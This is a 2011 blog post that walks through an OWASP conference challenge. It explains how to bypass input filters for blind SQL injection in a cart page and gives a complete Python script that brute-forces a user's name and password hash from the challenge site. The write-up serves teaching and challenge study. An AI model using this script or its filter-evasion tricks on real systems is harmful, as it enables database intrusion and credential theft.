Saturday, July 9, 2011

OWASP Pre-Conference Challenge #2 - Blind Sqli Script

The OWASP Pre-Conference Challenge #2 was definately tough, so congraulations to the winners!!
The full writeup on solving the challenge can be viewed at : http://devtrixlabs.com/blog/2011/07/appsecusa-2011-pre-challenge-2-walk-through/

I wrote a script to perform the blind sql injection to extract the name and password based on userlevel, using pretty simple sql statements.

The script is very straight forward, and I think it will be useful for anyone interested to learn more about python and blind sql injection.

Before we jump into the script, the challenge web application can still be accessed at: http://challenge.appsecusa.org.  The vulnerability exists in the cart.php where upon pressing the update button, the POST form variable qtyX (X is a integer value) is subject to blind sql injection.

There are few filters in the application that prevent straight forward sql injection:

1. all spaces are replaced by underscore
2. commas are separated into different query
3. dots are replaced by underscore
4. the word qty is removed
5. quotes are escaped

The counter to the above are the following:

1. use comments /**/ to represent spaces
2. don't use commas
3. don't use dots
4. qtqtyy will remove the qty in the middle leaving the outside to become qty
5. don't use quotes

The vulnerable SQL statement is: SELECT * FROM books WHERE id= [injection]

A valid sql injection query is the following:

SELECT/**/COUNT(id)/**/FROM/**/users/**/WHERE/**/length(name)=1

Since blind sql injection is to leverage the different in response of a page based on the boolean of the query logic, I decided to use the cart's item to distinguish a 'True' query and 'False' query.

By default, a 'False' query would return a COUNT(id) of 0, so if i was to add 1 to that value, it will give me the first item on the cart page : OWASP CLASP v1.2

If my query is successful, I would get a COUNT(id) > 0 so if i was to add 1 to that value, it will NOT be OWASP CLASP v1.2

For each userlevel greater than 0, there is only 1 name and password for this challenge application.  Therefore, at most I can get is COUNT(id) = 1 for each userlevel.  So if my query responded with an item OWASP Top 10 - 2010 Edition than my query is 'True'.


Unfortunately, the application has a filter for +.  So another representation of + is to use x -- y.  Luckily, the application accepts - and so my query is:

1--SELECT/**/COUNT(id)/**/FROM/**/users/**/WHERE/**/length(name)=1

The above query will return me a 1 -> false (OWASP CLASP v1.2) or 2 -> true (OWASP Top 10 -2010 Edition)

So the exploit is the following:

qty1--SELECT/**/COUNT(id)/**/FROM/**/users/**/WHERE/**/length(name)=1

So the way to extract username and password is the following:


1. Find the length of the name

2. For each character in name with the length discovered above, brute force it with a-z until a match occurs.  repeat for all characters in name

  - Since commas is not allowed, I can access each character of a field using mid(name from POSITION for 1)

  - Since quotes are not allowed, I can represent alphabet with char(number), such as char(97) equals 'a'

  - Therefore mid(name from POS for 1)=char(num) is the technique used to extract values yet circumvent the filters

3. For each character in password based on the name and length of name discovered above, brute force it with 0-9, and a-f unitl a match occurs.  repeat for all characters in password (length = 32)

   - Uses the same tactics to retrieve values as in Step 2


For the actual queries I used, please check out the script below:



Enjoy!
'''
OWASP Pre Conference Challenge #2 Blind SQL Injection in cart.php
Johnny (MisterU)
'''
import urllib
import urllib2
import cookielib


url = "http://challenge.appsecusa.org/cart.php"
key = "OWASP Top 10 - 2010 Edition"
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj), urllib2.HTTPHandler())
   
def BuildSqlStatement(sqlStatement):
    # any spaces will be replaced by underscore, so use comment trick to create space
    # use (1--value) to get (1+value) to determine success or failure
    payload = "qty1--"+urllib.quote_plus(sqlStatement.replace(" ", "/**/"))
    return payload
def AddCart():
    querystring = urllib.urlencode({'action':'add', 'id':'1'})
    request = urllib2.Request(url + "?%s" % querystring)
    response = opener.open(request)
    response.close()
def UpdateCart(sqlStatement):
    querystring = urllib.urlencode({'action':'update'})
    form =  BuildSqlStatement(sqlStatement)+'=1'
    request = urllib2.Request(url + "?%s" % querystring, form)
    for cookie in cj:
        request.add_header(cookie.name, cookie.value)
    response = opener.open(request)
    if key in response.read(): #the key is when qty2
        response.close()
        return True
    response.close()
    return False
def GetNameLength(userlevel):
    length = 1
    while True:
        cj.clear() #clear the cookie to remove previous session
        AddCart()
        sqli = "(select count(id) from users where userlevel="+str(userlevel)+" and length(name)="+str(length)+")"
        print sqli
        success = UpdateCart(sqli)
        if success:
            return length
        length+=1


def GetName(userlevel, length):
   
    name = ""
    for i in range(length):
        for alpha in range(97, 123, 1):
            cj.clear() #clear the cookie to remove previous session
            AddCart()
            sqli = "(select count(id) from users where userlevel="+str(userlevel)+" and length(name)="+str(length)+" and mid(name from "+ str(i+1) +" for 1)=char("+ str(alpha) +"))"
            print sqli
            success = UpdateCart(sqli)
            if success:
                name += chr(alpha)
                print name
                break
    return name
def GetPassword(userlevel, name, hashbrown):
    length = 32
    password = ""
    hexName = "0x" #Can't use quote for string, so use hex representation
   
    for c in name:
        hexName += str(hex(ord(c))).replace("0x","")
       
    for i in range(length):
        for value in hashbrown:
            cj.clear()
            AddCart()
            sqli = "(select count(id) from users where userlevel="+ str(userlevel)+" and name="+ hexName +" and mid(password from "+ str(i+1) +" for 1)=char("+ str(value) +"))"
            print sqli
            success = UpdateCart(sqli)
            if success:
                password += chr(value)
                print password
                break
    return password
if __name__ == "__main__":
   
    userlevel = 2
    print "Retrieving information on userlevel -> " + str(userlevel)
    length = GetNameLength(userlevel)
    print "Length -> " + str(length)
    name = GetName(userlevel, length)
    print "Name -> " + name
    hashbrown = [ord(str(num)) for num in range(10)] #build the 0-9,a-f table
    hashbrown.extend([alpha for alpha in range(ord('a'),ord('g'),1)])
    password = GetPassword(userlevel, name, hashbrown)
    print "Password -> " + password
    print
    print
    print 'Owasp pre-conference challenge 2 - blind sql injection cart.php'
    print '---------------------------------------------------------------'
    print 'Userlevel -> ' + str(userlevel)
    print 'Name -> ' + name
    print 'Password -> ' + password
   


   
   
   
   
   
   
   
  

No comments:

Post a Comment